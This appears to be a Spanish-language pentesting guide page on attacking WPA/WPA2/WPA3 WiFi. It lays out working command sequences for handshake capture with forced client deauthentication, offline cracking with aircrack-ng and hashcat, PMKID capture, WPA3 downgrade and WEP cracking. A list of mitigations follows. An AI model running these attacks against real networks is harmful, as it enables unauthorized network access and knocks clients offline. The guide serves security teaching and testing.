Saltearse al contenido

Ataques a WPA/WPA2/WPA3

WPA2-PSK (clave precompartida) es el cifrado WiFi más común en hogares y pymes. Su seguridad depende por completo de la fortaleza de la contraseña: el ataque consiste en capturar el “handshake” (el saludo cifrado entre cliente y AP al conectarse) y luego crackearlo offline probando contraseñas. Si la clave es débil, cae; si es larga y aleatoria, es inviable. WPA3 mejora esto con SAE, pero aún tiene vectores.

sequenceDiagram
    participant C as Cliente
    participant AP as Punto de acceso
    participant A as Atacante
    A->>C: deauth (fuerza la reconexión)
    C->>AP: 4-way handshake (al reconectar)
    A->>A: captura el handshake y lo crackea offline (hashcat -m 22000)

El handshake de 4 vías se intercambia cuando un cliente se conecta. Hay que capturarlo:

# 1) poner la tarjeta en monitor y enfocar el AP objetivo
airmon-ng start wlan0
airodump-ng -c <canal> --bssid <AP> -w captura wlan0mon
# 2) forzar un handshake desconectando a un cliente (deauth)
aireplay-ng --deauth 5 -a <AP> -c <cliente> wlan0mon
# 3) airodump muestra "WPA handshake: <AP>" cuando lo captura

Con el handshake en el .cap, pruebas contraseñas offline:

# aircrack-ng con diccionario
aircrack-ng -w rockyou.txt -b <AP> captura.cap
# hashcat (más rápido con GPU): convertir el cap a formato 22000
hcxpcapngtool -o hash.22000 captura.pcapng
hashcat -m 22000 hash.22000 rockyou.txt
# con reglas / máscaras para contraseñas con patrón
hashcat -m 22000 hash.22000 -a 3 ?u?l?l?l?l?d?d?d?d

Todo el ataque es offline: la fortaleza de la clave lo decide todo.

No siempre hay clientes conectados para hacer deauth. El ataque PMKID obtiene material crackeable directamente del AP, sin necesidad de cliente ni de handshake completo (si el AP lo permite):

hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1
# extraer el PMKID y crackear igual que el handshake
hcxpcapngtool -o hash.22000 dump.pcapng
hashcat -m 22000 hash.22000 rockyou.txt

WPA3 reemplaza el handshake por SAE (Dragonfly), resistente al crackeo offline. Pero:

# modo de transición WPA2/WPA3: un AP que soporta ambos permite forzar WPA2 (downgrade)
# -> atacar como WPA2
# Dragonblood (CVE-2019-9494/9496): fallos en implementaciones tempranas de SAE
# (side-channels, downgrade) -> algunos crackeables
# en la práctica, WPA3-only bien implementado resiste el ataque offline

En redes Enterprise no hay PSK; los clientes autentican contra un RADIUS. El ataque típico es un evil twin con RADIUS falso que captura las credenciales (challenge/response, crackeable) — se cubre en wifi-eviltwin.

# WEP es trivial: capturar suficientes IVs y crackear
aircrack-ng captura.cap # con suficientes paquetes, la clave cae en minutos
# aún aparece en dispositivos muy antiguos -> hallazgo crítico si existe
  • Contraseña larga y aleatoria (frase de 15+ caracteres) — es lo único que frena el crack offline en WPA2.
  • WPA3-only bien implementado (no modo de transición si se puede); parchear el firmware (Dragonblood).
  • Deshabilitar WPS (facilita obtener la clave sin crackear, ver Ataques a WPS) y WEP.
  • Enterprise (802.1X) con EAP-TLS (certificados) en vez de PSK; validar el certificado del servidor en los clientes.
  • 802.11w (PMF) para mitigar la deauth que fuerza el handshake; monitorizar deauth masivos.
  • Capturar el handshake WPA2 (airodump + deauth)
  • Crackear offline (aircrack/hashcat -m 22000)
  • PMKID attack si no hay clientes (hcxdumptool)
  • WPA3: ¿modo de transición? → downgrade a WPA2
  • Dragonblood en implementaciones SAE antiguas
  • WEP si existe (crack trivial)
  • Enterprise: evil twin RADIUS (Evil Twin y captive portals)
  • Evaluar la fortaleza de la clave (impacto real)